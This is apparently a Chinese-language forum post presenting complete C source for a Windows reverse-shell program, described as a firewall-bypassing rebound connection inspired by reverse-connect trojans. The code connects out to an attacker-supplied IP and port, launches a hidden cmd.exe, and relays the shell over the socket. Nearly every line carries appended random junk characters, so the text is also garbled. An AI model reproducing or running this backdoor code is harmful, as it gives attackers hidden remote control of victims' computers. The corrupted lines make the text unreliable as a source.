这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gano>W0
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/* ============================== yJ?S7+b
Rebound port in Windows NT X6SWcJtSw
By wind,2006/7 J>p6')Y6~
===============================*/ nv/'C=+L
#include $ucA.9pJ
#include M A
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#pragma comment(lib,"wsock32.lib") z6;6 o!ej
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void OutputShell(); B'8/`0^n5
SOCKET sClient; 5l4YYwd>v
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jPa"|9A
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void main(int argc,char **argv) &Na,D7A:3I
{ r: M>/Z/
WSADATA stWsaData; u@pimRVo
int nRet; g}n-H4LI
SOCKADDR_IN stSaiClient,stSaiServer; db`L0JB
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if(argc != 3) =a^}]k}
{ :.aMhyh#*
printf("Useage:\n\rRebound DestIP DestPort\n"); p;n"zr8U
return; 2v?fbrC5c
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); l~Rd\.O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X)b@ia'"Wp
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stSaiClient.sin_family = AF_INET; 2R];Pv
stSaiClient.sin_port = htons(0); 8(ej]9RObU
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )J{.z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '|^x[8^
{
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printf("Bind Socket Failed!\n"); ^Fpc8D,
return; _=-B%m
} Cd2A&RB
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stSaiServer.sin_family = AF_INET; #%7)a; '
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (5a:O (\r
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'M!M$<j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !QSj*)V#
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printf("Connect Error!"); cp$GP*{@
return; `i<omZ[aT
} @|([b r|O
OutputShell(); :T )R;E@
} WT63ve
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void OutputShell() V@rqC[on
{ ->L> `<7(
char szBuff[1024]; LR#BP}\b'
SECURITY_ATTRIBUTES stSecurityAttributes; QTC!vKM
OSVERSIONINFO stOsversionInfo; yQ0:M/r;0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G&
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STARTUPINFO stStartupInfo; je85G`{DC
char *szShell; ?kdan
PROCESS_INFORMATION stProcessInformation; <.".,Na(J0
unsigned long lBytesRead; * o{7 a$V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O',Vce$
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !|Wf
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stSecurityAttributes.lpSecurityDescriptor = 0; %2y5a`b
stSecurityAttributes.bInheritHandle = TRUE; KX
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T>68 ,; p
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,&.$r/x|?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LwYWgT\e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :g ~_
stStartupInfo.wShowWindow = SW_HIDE; 3 3zE5vr
stStartupInfo.hStdInput = hReadPipe; h:RP/0E
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }i{A4f`
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GetVersionEx(&stOsversionInfo); LUdXAi"f
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switch(stOsversionInfo.dwPlatformId) ;SIWWuk
{ eG7Yyz+t$
case 1: 9l(T>B2a
szShell = "command.com"; vUCmm<y
break; ;5DDV6
default: \PWH(E9
szShell = "cmd.exe"; ;y_ ]w6|n
break; S5V:H Rj{?
} "hi03k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b~qH/A}h
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send(sClient,szMsg,77,0); ?lML+
while(1) %&S9~E
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{ 2VzYP~Jg
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2+_a<5l~
if(lBytesRead) ,l Y4WO
{ Xv3pKf-K
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TJ1h[
send(sClient,szBuff,lBytesRead,0); Wy%FF\D.Y
} 6$[7hlE
else U*b7 Pxq;
{ Z?xRSi2~7
lBytesRead=recv(sClient,szBuff,1024,0); IVY)pS"pR"
if(lBytesRead<=0) break; @{W"mc+
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R0%M9;>1
} AmC?qoEWQ7
} Evd|_ W-
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return; bf|ePGW?
}